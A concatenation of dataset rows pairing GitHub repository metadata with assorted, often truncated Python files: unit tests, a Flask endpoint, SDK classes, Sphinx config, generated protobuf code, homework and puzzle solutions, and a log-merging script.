] | permissive | Montage-Inc/python-montage | 3b2927a1c735737d150fb6374cff4cece3ff6b89 | 86d4512de0cbd940711f5565d784a199237189a6 | refs/heads/develop | 2020-04-15T11:39:49.271083 | 2016-09-22T04:30:27 | 2016-09-22T04:30:27 | 32,116,284 | 1 | 0 | null | 2016-09-06T21:59:40 | 2015-03-13T01:32:52 | Python | UTF-8 | Python | false | false | 1,966 | py | from decimal import Decimal
import pytest
import montage
from .utils import MontageTests
class GeospatialTests(MontageTests):
def test_validate_geometry_error(self):
geometry = {
'type': 'Point',
'coordinates': 'bad data'
}
with pytest.raises(montage.ValidationEr... | [
"derek.payton@gmail.com"
] | derek.payton@gmail.com |
226087640142e42bd54dac5dfb986e525b603652 | 43c144a8638e118ac75ad3aca473f85e7c7acb5b | /src/awesomeio/hello.py | b69bbab1f24e949f4b876b6e5fd7f780c5651acb | [
"MIT"
] | permissive | snorrwe/eve-starter | f7764017043be7eaa15cdf9ecbe37a8a887903c0 | 023014efbae15411588fedb20e87a341db1e6182 | refs/heads/master | 2020-03-19T00:26:46.228386 | 2018-05-30T20:42:31 | 2018-05-30T20:42:31 | 135,481,462 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 631 | py | from flask import current_app as app
from flask import abort, Response
import pymongo
import simplejson as json
def hello_endpoint():
try:
helloCollection = app.data.driver.db['_hello']
lookup = {'foo': 'bar'}
find = helloCollection.find_one(lookup)
if (find):
helloColl... | [
"littlesnorrboy@gmail.com"
] | littlesnorrboy@gmail.com |
471ce190e946d40c44882f3ba0eac0e2be1e01bd | 7773ea6f465ffecfd4f9821aad56ee1eab90d97a | /python/testData/paramInfo/InitializingAttrs.py | b3c19d34956c06d397bd78bc76b360be04c8959d | [
"Apache-2.0"
] | permissive | aghasyedbilal/intellij-community | 5fa14a8bb62a037c0d2764fb172e8109a3db471f | fa602b2874ea4eb59442f9937b952dcb55910b6e | refs/heads/master | 2023-04-10T20:55:27.988445 | 2020-05-03T22:00:26 | 2020-05-03T22:26:23 | 261,074,802 | 2 | 0 | Apache-2.0 | 2020-05-04T03:48:36 | 2020-05-04T03:48:35 | null | UTF-8 | Python | false | false | 713 | py | import attr
@attr.s
class A1:
x = attr.ib()
y = attr.ib()
z = attr.ib(default=0)
A1(<arg1>)
@attr.s
class A2:
x = attr.ib()
y = attr.ib(init=True)
z = attr.ib(default=0)
A2(<arg2>)
@attr.s
class A3:
x = attr.ib()
y = attr.ib(init=False)
z = attr.ib(default=0)
A3(<arg3>)
@at... | [
"Semyon.Proshev@jetbrains.com"
] | Semyon.Proshev@jetbrains.com |
11fd6c90b36a69ae55506eb280ed584972fee60d | 620656750dffc803b52fda77d9a2358a9647ac3a | /add_trailing_comma/_data.py | ea70efe8b5cc06a1da71cd0bdd3cb20032f4845a | [
"MIT"
] | permissive | asottile/add-trailing-comma | d8e48145a46303bee0fdf66131c73e09c7b3f519 | d2e6adc1665e461a764e2f38edfa2ef61f41be20 | refs/heads/main | 2023-08-31T11:53:21.335160 | 2023-08-30T17:27:29 | 2023-08-30T17:27:29 | 96,721,073 | 329 | 33 | MIT | 2023-09-05T13:06:38 | 2017-07-10T00:55:50 | Python | UTF-8 | Python | false | false | 2,126 | py | from __future__ import annotations
import ast
import collections
import pkgutil
from typing import Callable
from typing import Iterable
from typing import List
from typing import NamedTuple
from typing import Protocol
from typing import Tuple
from typing import TypeVar
from tokenize_rt import Offset
from tokenize_rt ... | [
"asottile@umich.edu"
] | asottile@umich.edu |
c963b424c316f1542d4cd15f853ab92604fa5f3a | e57a0c7135b1bf2f7b7b9c36f93af78b4dc30825 | /docs/conf.py | a0a0ba9613b23f434cf7ab82de5e74a0d3696fe2 | [
"MIT"
] | permissive | pysymplectic/symplectic | 63d84e003f361cc23156ffa7954011977b651d20 | bdb46157757eb6e1e12fd3694fdbd0bbf18a70db | refs/heads/master | 2021-05-07T21:45:19.894761 | 2018-01-24T02:28:01 | 2018-01-24T02:28:01 | 109,056,116 | 0 | 0 | MIT | 2018-01-24T02:28:02 | 2017-10-31T21:53:38 | Python | UTF-8 | Python | false | false | 287 | py | # Copyright (c) Moshe Zadka
# See LICENSE for details.
extensions = [
'sphinx.ext.autodoc',
'sphinx.ext.viewcode',
'sphinx.ext.napoleon',
]
master_doc = 'index'
project = 'Symplectic'
copyright = '2017, Moshe Zadka'
author = 'Moshe Zadka'
version = '17.10'
release = '17.10'
| [
"zadka.moshe@gmail.com"
] | zadka.moshe@gmail.com |
600b8ad69eff852e1c69573f647f64ab3fd66eb5 | 6238dc5b5818f54295547cf4cb1afa5553ddfb94 | /taobao/top/api/rest/ProductImgDeleteRequest.py | 778e76f3d6c02d8315155410c9b8dae0fd45bf69 | [] | no_license | liaosiwei/guagua | 8208bb82b1df5506dcb86c1a7094c849ea5576a6 | ee6025813e83568dc25beb52279c86f8bd33f1a4 | refs/heads/master | 2016-09-06T16:45:00.798633 | 2013-05-03T04:02:35 | 2013-05-03T04:02:35 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 333 | py | '''
Created by auto_sdk on 2013-04-14 16:35:32
'''
from top.api.base import RestApi
class ProductImgDeleteRequest(RestApi):
def __init__(self,domain='gw.api.taobao.com',port=80):
RestApi.__init__(self,domain, port)
self.id = None
self.product_id = None
def getapiname(self):
return 'taobao.product.... | [
"liaosiweiorxiaowei@gmail.com"
] | liaosiweiorxiaowei@gmail.com |
fb2cf9a8a7afc9c58e0ca1c24ed54a173d0f73ae | 9f3488ddfdb02165f1be9a3ce3a4a3468af0e793 | /practical/amzn/MInCostToConnectRopes.py | ed257267021a3abbd9608ab38791a6f30a8b2492 | [] | no_license | szr22/algorithm | b76646799272b81ea6dd179f0d07dba64d9b10d2 | bcf18a6583303dbd5a10776d2c70181b0733defb | refs/heads/master | 2022-05-13T13:59:27.471727 | 2022-04-15T18:27:55 | 2022-04-15T18:27:55 | 190,107,858 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,171 | py | """
Given n ropes of different lengths, we need to connect these ropes into one rope.
We can connect only 2 ropes at a time.
The cost required to connect 2 ropes is equal to sum of their lengths.
The length of this connected rope is also equal to the sum of their lengths.
This process is repeated until n ropes are conn... | [
"shizhenrong1987@hotmail.com"
] | shizhenrong1987@hotmail.com |
805b2d0d4df41d81b36a2cd0da95810f4ba9f2e4 | b8faf65ea23a2d8b119b9522a0aa182e9f51d8b1 | /vmraid/utils/jinja.py | 6a695e1d5d4f8ee52ac3d30c7bc060ed023478ac | [
"MIT"
] | permissive | vmraid/vmraid | a52868c57b1999a8d648441eb9cd05815204345d | 3c2e2a952003ba7ea2cf13673b9e79e127f4166e | refs/heads/main | 2022-07-29T18:59:28.585133 | 2022-04-22T08:02:52 | 2022-04-22T08:02:52 | 372,473,120 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,630 | py | # Copyright (c) 2015, VMRaid and Contributors
# License: MIT. See LICENSE
def get_jenv():
import vmraid
from vmraid.utils.safe_exec import get_safe_globals
if not getattr(vmraid.local, "jenv", None):
from jinja2 import DebugUndefined
from jinja2.sandbox import SandboxedEnvironment
# vmraid will be loaded las... | [
"sowrisurya@outlook.com"
] | sowrisurya@outlook.com |
311e804faf92f40ff8de5cc28dc14b0a4d8fa758 | 163bbb4e0920dedd5941e3edfb2d8706ba75627d | /Code/CodeRecords/2638/60721/301062.py | 704df3b2a204a2b527af0305300426959286d98a | [] | no_license | AdamZhouSE/pythonHomework | a25c120b03a158d60aaa9fdc5fb203b1bb377a19 | ffc5606817a666aa6241cfab27364326f5c066ff | refs/heads/master | 2022-11-24T08:05:22.122011 | 2020-07-28T16:21:24 | 2020-07-28T16:21:24 | 259,576,640 | 2 | 1 | null | null | null | null | UTF-8 | Python | false | false | 588 | py | n,m=map(int,input().split(" "))
lis=list(map(int,input().split(" ")))
for o in range(0,m):
s=list(map(int,input().split(" ")))
if(s[0]==1):
for i in range(s[1]-1,s[2]):
lis[i]+=s[3]
elif(s[0]==2):
re=0
for i in range(s[1]-1,s[2]):
re+=lis[i]
print("%.4... | [
"1069583789@qq.com"
] | 1069583789@qq.com |
7e37c524414cce6e23da2d1e606cb2c6ab388d72 | ba31222f2ae500f39f4c180b348b4decf82bd99f | /python/merge_files.py | 3b897cfdff59df295285b602a733d43678e0b892 | [] | no_license | cdufour/tsrs19-scripting | 7b271ff7f2ecddcb85af5e776819aebb844ebec2 | 9ef0b39ac27b406032aab349c42f8d3011287323 | refs/heads/master | 2020-08-10T18:16:16.438209 | 2019-10-11T09:16:44 | 2019-10-11T09:16:44 | 214,394,075 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,169 | py | # merge_files.py
'''
Objectif: fusionner en un seul fichier "apache.log"
l'ensemble des fichier logs apache
On demande à l'utilisateur ce qu'il souhaite faire des fichiers de log
1: rien ; 2: archivage (zip) ; 3: suppression
'''
import os
from zipfile import ZipFile
source_dir = './files/logs'
logs = ''
files = os.l... | [
"opusidea@gmail.com"
] | opusidea@gmail.com |
480948c993e567e753da5943cf5c44f1a146a87a | 1449cea9cec754b97f97d0888b1da5ada81bff86 | /test/posteriors/test_deterministic.py | 05c1dce477e63eb8f161c6f96d3741a0bea3291c | [
"MIT"
] | permissive | liangshi7/botorch | 94860bc9702da04669357fa4867af4e4cb092f94 | 7472b843121ff8b67ee8fbe41a830c386783e97b | refs/heads/master | 2020-08-30T10:12:18.756131 | 2019-11-06T20:52:45 | 2019-11-06T20:52:45 | 218,346,088 | 0 | 1 | MIT | 2019-10-29T17:35:55 | 2019-10-29T17:35:55 | null | UTF-8 | Python | false | false | 1,692 | py | #!/usr/bin/env python3
# Copyright (c) Facebook, Inc. and its affiliates.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
import torch
from botorch.posteriors.deterministic import DeterministicPosterior
from botorch.utils.testing import Boto... | [
"facebook-github-bot@users.noreply.github.com"
] | facebook-github-bot@users.noreply.github.com |
3314189ab97aaf3e325ad3b0d845a3ad230b81e9 | 45de7d905486934629730945619f49281ad19359 | /xlsxwriter/test/comparison/test_hyperlink05.py | 29a9d12a2869360050d755772fa181d3e3414dc1 | [
"BSD-2-Clause"
] | permissive | jmcnamara/XlsxWriter | 599e1d225d698120ef931a776a9d93a6f60186ed | ab13807a1be68652ffc512ae6f5791d113b94ee1 | refs/heads/main | 2023-09-04T04:21:04.559742 | 2023-08-31T19:30:52 | 2023-08-31T19:30:52 | 7,433,211 | 3,251 | 712 | BSD-2-Clause | 2023-08-28T18:52:14 | 2013-01-04T01:07:06 | Python | UTF-8 | Python | false | false | 1,174 | py | ###############################################################################
#
# Tests for XlsxWriter.
#
# SPDX-License-Identifier: BSD-2-Clause
# Copyright (c), 2013-2023, John McNamara, jmcnamara@cpan.org
#
from ..excel_comparison_test import ExcelComparisonTest
from ...workbook import Workbook
class TestCompar... | [
"jmcnamara@cpan.org"
] | jmcnamara@cpan.org |
01ef0bb08a0da125f6698958bee6d91726526134 | bc441bb06b8948288f110af63feda4e798f30225 | /cmdb_sdk/model/pipeline/condition_pb2.py | 1446517917cf0190dffb98f9c74939f7f4fee210 | [
"Apache-2.0"
] | permissive | easyopsapis/easyops-api-python | 23204f8846a332c30f5f3ff627bf220940137b6b | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | refs/heads/master | 2020-06-26T23:38:27.308803 | 2020-06-16T07:25:41 | 2020-06-16T07:25:41 | 199,773,131 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | true | 2,899 | py | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: condition.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf i... | [
"service@easyops.cn"
] | service@easyops.cn |
219061e30d4e38c437c2cad2e566f0e29f7550ad | d9553dde297dffb42d9f1ab71313909782a7183c | /example/stratego/four_phase_interface.py | 9a36d08bad95a92aa1715ad0742e9a3beba1f957 | [] | no_license | TRG-BUILD/sumo_stratego | b5177b8414eb29a0efa2d8fe4347ed235cb422a0 | cb38a92cba183c1cde03663a7bc8d88d6cb010e5 | refs/heads/master | 2023-05-10T12:26:22.549463 | 2021-06-24T12:53:41 | 2021-06-24T12:53:41 | 372,832,155 | 3 | 0 | null | 2021-06-12T18:16:21 | 2021-06-01T13:03:09 | Python | UTF-8 | Python | false | false | 1,736 | py | import strategoutil as sutil
from strategoutil import StrategoController
class Controller(StrategoController):
def __init__(self, templatefile, model_cfg_dict):
super().__init__(templatefile, model_cfg_dict, interactive_bash=False)
# tag left in model_template.xml
self.tagRule = "//TAG_{}"... | [
"mih.samusev@gmail.com"
] | mih.samusev@gmail.com |
9d738fa4b45430a62d3bcf629b7b72a282b7066d | c6fca34b2c9cb973d9d65d23e58e40d4513e173a | /aoc2017/day08.py | 09634cccc5480d3c493803a773ebac720699da14 | [] | no_license | tomkooij/AdventOfCode | 8ff47c027c887194b0d441f61a8db172c4e260ea | 7890d45a01498dcb48972a7e311888ce6f003bd2 | refs/heads/master | 2021-08-15T19:46:21.869137 | 2021-01-18T06:37:50 | 2021-01-18T06:37:50 | 48,421,868 | 7 | 2 | null | null | null | null | UTF-8 | Python | false | false | 924 | py | from collections import defaultdict
def make_op(reg_name, value):
"""return a function that modifies a registers"""
def op(registers):
registers[reg_name] += value
return op
def parse(row):
"""parse a row, return a function and a condition to eval()"""
opreg, op, opval, _if, condreg, co... | [
"tomkooij@tomkooij.nl"
] | tomkooij@tomkooij.nl |
7ade989930f7bb1d46846ffa1804d61a787298c0 | a7aae07a85628243d514af328b54718e427f3323 | /algorithm/challenges/fuckingresult.py | 0d8ea3aeed560a93f56e491ebf2e5c231daa0019 | [
"MIT"
] | permissive | Parthi10/hackerrank | a650734f8eab9357e70dd8c839f9878c4f938d49 | acc300851c81a29472177f15fd8b56ebebe853ea | refs/heads/master | 2020-12-23T12:39:17.329109 | 2017-08-03T13:31:29 | 2017-08-03T13:31:29 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,228 | py | fresults = {
15084001 : 8.41,
15084002 : 8.49,
15084003 : 8.47,
15084004 : 8.24,
15084005 : 8.49,
15084006 : 8.08,
15084007 : 4.77,
15084008 : 8.22,
15084009: 8.48,
15084010: 7.86,
15084011 : 7.36,
15084012 : 6.98,
15084013 : 8.68,
15084014 : 7.68,
15084015... | [
"rishabh.agrahari.eee15@iitbhu.ac.in"
] | rishabh.agrahari.eee15@iitbhu.ac.in |
f4ecc8f73124a30089217ab5d0af21596527dd5e | 2a54e8d6ed124c64abb9e075cc5524bb859ba0fa | /.history/4-functional-programming/1-pure-functions_20200421012636.py | b924e129d092e0850ced733c2fd655edb40876fa | [] | no_license | CaptainStorm21/Python-Foundation | 01b5fbaf7a913506518cf22e0339dd948e65cea1 | a385adeda74f43dd7fb2d99d326b0be23db25024 | refs/heads/master | 2021-05-23T01:29:18.885239 | 2020-04-23T19:18:06 | 2020-04-23T19:18:06 | 253,171,611 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 391 | py | # purpose
# clear and understandable
# easy to extend
# easy to maintain
# memory efficient
# DRY (dont repeat yourself)
# functional programming paradagm = pure functions
def multiply_by2(li):
#does not touch anything outside of function
new_list = []
for item in li:
new_list.append(item*2)
... | [
"tikana4@yahoo.com"
] | tikana4@yahoo.com |
9802e179b5790c27ec618e503a524e31b0e9a79b | 551b75f52d28c0b5c8944d808a361470e2602654 | /huaweicloud-sdk-bss/huaweicloudsdkbss/v2/model/conversion.py | b81e6b015278241074efb45c3edf5f2e35025a87 | [
"Apache-2.0"
] | permissive | wuchen-huawei/huaweicloud-sdk-python-v3 | 9d6597ce8ab666a9a297b3d936aeb85c55cf5877 | 3683d703f4320edb2b8516f36f16d485cff08fc2 | refs/heads/master | 2023-05-08T21:32:31.920300 | 2021-05-26T08:54:18 | 2021-05-26T08:54:18 | 370,898,764 | 0 | 0 | NOASSERTION | 2021-05-26T03:50:07 | 2021-05-26T03:50:07 | null | UTF-8 | Python | false | false | 6,057 | py | # coding: utf-8
import pprint
import re
import six
class Conversion:
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json... | [
"hwcloudsdk@huawei.com"
] | hwcloudsdk@huawei.com |
6c2b6dc4c824db84ad99f640adea08190d472268 | 9743d5fd24822f79c156ad112229e25adb9ed6f6 | /xai/brain/wordbase/nouns/_fussed.py | 862b3f847907af6b2b7e9054460f1e560cb1ff4f | [
"MIT"
] | permissive | cash2one/xai | de7adad1758f50dd6786bf0111e71a903f039b64 | e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6 | refs/heads/master | 2021-01-19T12:33:54.964379 | 2017-01-28T02:00:50 | 2017-01-28T02:00:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 226 | py |
from xai.brain.wordbase.nouns._fuss import _FUSS
#calss header
class _FUSSED(_FUSS, ):
def __init__(self,):
_FUSS.__init__(self)
self.name = "FUSSED"
self.specie = 'nouns'
self.basic = "fuss"
self.jsondata = {}
| [
"xingwang1991@gmail.com"
] | xingwang1991@gmail.com |
9cc514ff882e0cb0ad1cac27785b1c7d5c0a45d8 | 1e1c5eba4e1f46670eb4114b88737a977bc606a3 | /visulisingNestedLoops.py | 3788b485025121e09b91e00c42e64f09b393479e | [] | no_license | alwinruby/python_basics | 3efdfa5435ee8de2500013f56dcb0da736502efa | 12a663933ebe70f4f67e1602a1a6afa5cdb71208 | refs/heads/master | 2020-03-10T06:35:26.381390 | 2018-05-23T17:59:12 | 2018-05-23T17:59:12 | 129,243,007 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 379 | py | string1 = "Cat"
string2 = "Bat"
for i in range(len(string1)):
for j in range(len(string2)):
print("i: ",i, " <-----> ","j: ", j)
print(string1[i]," <----> ",string2[j])
if string1[i] == string2[j]:
print("index: {0} of string1 matches with index: {1} of string2".format(i,j))... | [
"alwinsolanky@gmail.com"
] | alwinsolanky@gmail.com |
a501fef360caf405d433d2a6bf19b545eae13e94 | d2c4934325f5ddd567963e7bd2bdc0673f92bc40 | /tests/model_control/detailed/transf_Quantization/model_control_one_enabled_Quantization_Lag1Trend_Seasonal_WeekOfYear_MLP.py | a11ad951f6cfce8679af206274a9eec6555be960 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | jmabry/pyaf | 797acdd585842474ff4ae1d9db5606877252d9b8 | afbc15a851a2445a7824bf255af612dc429265af | refs/heads/master | 2020-03-20T02:14:12.597970 | 2018-12-17T22:08:11 | 2018-12-17T22:08:11 | 137,104,552 | 0 | 0 | BSD-3-Clause | 2018-12-17T22:08:12 | 2018-06-12T17:15:43 | Python | UTF-8 | Python | false | false | 170 | py | import pyaf.tests.model_control.test_ozone_custom_models_enabled as testmod
testmod.build_model( ['Quantization'] , ['Lag1Trend'] , ['Seasonal_WeekOfYear'] , ['MLP'] ); | [
"antoine.carme@laposte.net"
] | antoine.carme@laposte.net |
d909c9ea4f830761928cd3bfadaebad958e29889 | 1b4abb5e310c7ae1b2928f9ea80a6b3a8c2fb8ed | /model/ml/tools/katara_new/Katara.py | 3b66bba1677282580a7e1e796ace4c2e0dd668e0 | [] | no_license | zhang-198/ExampleDrivenErrorDetection | 2e2c708665f2b57b6ac7c785604a2ac6234f7ba9 | ae8bc24fc441957d9a29e5fa4cc247f1805d8b4d | refs/heads/master | 2023-05-23T14:49:29.628520 | 2020-04-09T14:02:28 | 2020-04-09T14:02:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 585 | py | import numpy as np
import pandas as pd
from ml.tools.Tool import Tool
class Katara(Tool):
def __init__(self, path_to_tool_result, data):
outliers = pd.read_csv(path_to_tool_result, header=None, sep=',', dtype=int)
print "detected: " + str(outliers.shape)
matrix_detected = np.zeros(data... | [
"neutatz@googlemail.com"
] | neutatz@googlemail.com |
4507dbfb77c1a4dac2f8a83ca875a42fe7e0bcb2 | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02820/s653192583.py | 0a4efd7761f3849b01dd994445b9e9104807d9a5 | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 270 | py | n,k = map(int, input().split())
r,s,p = map(int, input().split())
t= input()
T = [i for i in t]
win = ''
for i in range(len(T)-k):
if T[i]==T[i+k]:
T[i+k]='#'
ans = 0
for i in T:
if i=='r':ans+=p
elif i=='s':ans+=r
elif i=='p':ans+=s
print(ans)
| [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
0ee9c70cb62d30d89b0eaa6b094955f64d420524 | 4a8c1f7d9935609b780aff95c886ef7781967be0 | /topcoder/Rookie SRM 2/FriendFinder.py | e5323432bbf0b5d01c345295e9c79e13417b0694 | [] | no_license | recuraki/PythonJunkTest | d5e5f5957ac5dd0c539ef47759b1fe5ef7a2c52a | 2556c973d468a6988d307ce85c5f2f8ab15e759a | refs/heads/master | 2023-08-09T17:42:21.875768 | 2023-07-18T23:06:31 | 2023-07-18T23:06:31 | 13,790,016 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,865 | py | # -*- coding: utf-8 -*-
import math,string,itertools,fractions,heapq,collections,re,array,bisect
class FriendFinder:
def distance(self, line):
return 0
# CUT begin
# TEST CODE FOR PYTHON {{{
import sys, time, math
def tc_equal(expected, received):
try:
_t = type(expected)
received = _... | [
"kanai@wide.ad.jp"
] | kanai@wide.ad.jp |
389d1c9c55c88c6677f716d3dc406cecab4760f5 | afd2087e80478010d9df66e78280f75e1ff17d45 | /test/ao/sparsity/test_data_scheduler.py | ab7c051c21077ad1a374579904d2f42765de40f7 | [
"BSD-3-Clause",
"BSD-2-Clause",
"LicenseRef-scancode-secret-labs-2011",
"LicenseRef-scancode-generic-cla",
"BSL-1.0",
"Apache-2.0"
] | permissive | pytorch/pytorch | 7521ac50c47d18b916ae47a6592c4646c2cb69b5 | a6f7dd4707ac116c0f5fb5f44f42429f38d23ab4 | refs/heads/main | 2023-08-03T05:05:02.822937 | 2023-08-03T00:40:33 | 2023-08-03T04:14:52 | 65,600,975 | 77,092 | 24,610 | NOASSERTION | 2023-09-14T21:58:39 | 2016-08-13T05:26:41 | Python | UTF-8 | Python | false | false | 6,399 | py | # Owner(s): ["module: unknown"]
import logging
import warnings
from torch.testing._internal.common_utils import TestCase
from torch import nn
import torch
from typing import Tuple
import copy
from torch.ao.pruning._experimental.data_sparsifier import DataNormSparsifier
from torch.ao.pruning._experimental.data_schedul... | [
"pytorchmergebot@users.noreply.github.com"
] | pytorchmergebot@users.noreply.github.com |
8c8279535bc985408b24e249d8209d400fe7c470 | c6b70c795d1aaf2361d63057a6f07679314bbaad | /donation/migrations/0059_auto_20180606_0147.py | fcaa82a682085420609854ac67195bbc4c684e36 | [
"MIT"
] | permissive | effective-altruism-australia/donation_portal | 353e8742ca59bcaa2e0a21084260bcee377d09de | 9a4912875c6c341c476b13f9e1fb5ef6ed229fa4 | refs/heads/master | 2023-08-16T13:04:06.456005 | 2023-08-08T00:32:09 | 2023-08-08T00:32:09 | 67,658,287 | 2 | 6 | MIT | 2023-09-14T06:20:02 | 2016-09-08T01:48:33 | HTML | UTF-8 | Python | false | false | 439 | py | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('donation', '0058_referralsource_slug_id'),
]
operations = [
migrations.AlterField(
model_name='pledge',
... | [
"andrew.bird@vesparum.com"
] | andrew.bird@vesparum.com |
b0da42f812df890cd211813faf95cf6bda3a13a2 | a3db12a6f781ce16840cf20af473fd2d99900abc | /queue/queue_pyfun_2.py | 6799559b305e77a1408faf2f68fd6984b9f84ede | [] | no_license | kbehouse/tf_note | 3e0cf02baa87645d35c1f5a971ec35e93f09f5d6 | 1e000db8423c219bfa7a88db8a976e6974e0ee93 | refs/heads/master | 2021-05-08T04:38:35.313987 | 2017-11-23T16:50:09 | 2017-11-23T16:50:09 | 108,346,417 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,278 | py |
import tensorflow as tf
class Alpha:
def __init__(self, multi, prefix, sess):
self.prefix = prefix
self.multi = multi
self._build_graph()
self.sess = sess
self.num = 0
def _build_graph(self):
self.a = tf.placeholder("float", shape=[])
m =... | [
"kbehouse@gmail.com"
] | kbehouse@gmail.com |
c567bf39c376c4e1aed7a7e187098b2b42513139 | 67029d54bb92cb7a28604bffdd6d11ceb644dc3b | /cpab/gpu/demo.py | d3c0f8e8ef0f3126c4bf828994cb4bc0e6bfa3df | [
"MIT"
] | permissive | freifeld/cpabDiffeo | eead4244de8bb32d00c492a20afc57cf7e4bc397 | 22df6cdbd7111b9ae3e7f1c0e31ff85e92d281a6 | refs/heads/master | 2021-07-16T05:51:08.970724 | 2020-07-11T09:14:39 | 2020-07-11T09:14:39 | 42,126,959 | 23 | 4 | null | null | null | null | UTF-8 | Python | false | false | 3,755 | py | #!/usr/bin/env python
"""
Created on Sun Feb 9 16:47:35 2014
Author: Oren Freifeld
Email: freifeld@csail.mit.edu
"""
import pickle, pdb
import pylab
from pylab import plt
import numpy as np
#pylab.ion()
pylab.close('all')
#from js.utils.timing import StopWatch
from transform_cuda import CpavfCalcsGPU
from of.utils... | [
"freifeld@csail.mit.edu"
] | freifeld@csail.mit.edu |
3fb1c4b89ff167bcc47c99d9f07d39a9431a81fb | 22efbdbce05e965ac37381f4fe2c4a8899ef7548 | /pandas_exercise/test04_dbmovie.py | 1250aa2b3bc72139b54143b86f4dff1ac2b3f278 | [] | no_license | yuyexiaohan/data_analysis | f9fc415281f0377e6c2825bc74e9cc767a5c81b3 | 26f566b8c9d038be43cddc6a8ebcadf9cd941cc3 | refs/heads/master | 2020-04-08T03:48:48.584090 | 2018-12-04T03:51:20 | 2018-12-04T03:51:20 | 158,990,944 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 530 | py | # coding=utf-8
# Time : 2018/12/3
# Author : achjiang
import pandas as pd
import numpy as np
file_path = "IMDB-Movie-Data.csv"
df = pd.read_csv(file_path)
# print(df.info())
print(df.head(1))
#获取平均评分
print(df["Rating"].mean())
#导演的人数
# print(len(set(df["Director"].tolist())))
print(len(df["Director"].unique()))
... | [
"htxz_jiang@163.com"
] | htxz_jiang@163.com |
5928be284da0a88a7f635cfe7a2085df490cb508 | 5c335469a9198d61e2095293d06ce78e781726d0 | /python/Semester 1/Assignments/2A/159171_A2A.py | 70d20f7ad5560894a01457d0fc6af875c3f5acab | [] | no_license | LaurenceGA/programmingProjects | 5e203b450d11bff9cdb652661934ec3f797a6860 | 1fe3ea9a89be4c32cd68dd46da7a842b933c438b | refs/heads/master | 2021-01-15T10:59:09.890932 | 2017-06-18T11:20:28 | 2017-06-18T11:20:28 | 36,592,569 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,332 | py | #!/usr/bin/env python
# 159.171 Assignment 2A
# Laurence Armstrong, 15062061
__author__ = 'Laurence Armstrong'
authorship_string = "{} created on {} by {} ({})\n{}\n".format(
"158171_A2A.py", "31/03/15", __author__, 15062061, "-----" * 15) \
if __name__ == '__main__' else ""
print(authorship_str... | [
"lorryarmstrong@gmail.com"
] | lorryarmstrong@gmail.com |
c08fab006dddf02e0c846e03e8cd30ce5c2b5058 | 6f1d2b0bca75be9c932b1728b4b050bb2741695e | /剑指 Offer II 008. 和大于等于 target 的最短子数组.py | 0d2dc0baf833bae751e44968b34244c9f81d0d69 | [] | no_license | yangyuxiang1996/leetcode | 8c529da7a5f432bf6f14847d1c063077d2034c2a | 6e18c5d257840489cc3fb1079ae3804c743982a4 | refs/heads/main | 2023-07-17T00:55:51.230915 | 2021-09-05T01:48:31 | 2021-09-05T01:48:31 | 372,850,024 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,308 | py | #!/usr/bin/env python
# coding=utf-8
'''
Author: Yuxiang Yang
Date: 2021-08-25 22:44:41
LastEditors: Yuxiang Yang
LastEditTime: 2021-08-25 23:03:04
FilePath: /leetcode/剑指 Offer II 008. 和大于等于 target 的最短子数组.py
Description:
给定一个含有 n 个正整数的数组和一个正整数 target 。
找出该数组中满足其和 ≥ target 的长度最小的 连续子数组 [numsl, numsl+1, ..., numsr-1, nu... | [
"18310206637@163.com"
] | 18310206637@163.com |
c892b6b3da6948b285b60c4387440235a5b27e54 | d2c4934325f5ddd567963e7bd2bdc0673f92bc40 | /tests/artificial/transf_Difference/trend_Lag1Trend/cycle_0/ar_/test_artificial_1024_Difference_Lag1Trend_0__20.py | db64ebed51c1b492b394a2a542420f8b7f886414 | [
"BSD-3-Clause",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | jmabry/pyaf | 797acdd585842474ff4ae1d9db5606877252d9b8 | afbc15a851a2445a7824bf255af612dc429265af | refs/heads/master | 2020-03-20T02:14:12.597970 | 2018-12-17T22:08:11 | 2018-12-17T22:08:11 | 137,104,552 | 0 | 0 | BSD-3-Clause | 2018-12-17T22:08:12 | 2018-06-12T17:15:43 | Python | UTF-8 | Python | false | false | 271 | py | import pyaf.Bench.TS_datasets as tsds
import pyaf.tests.artificial.process_artificial_dataset as art
art.process_dataset(N = 1024 , FREQ = 'D', seed = 0, trendtype = "Lag1Trend", cycle_length = 0, transform = "Difference", sigma = 0.0, exog_count = 20, ar_order = 0); | [
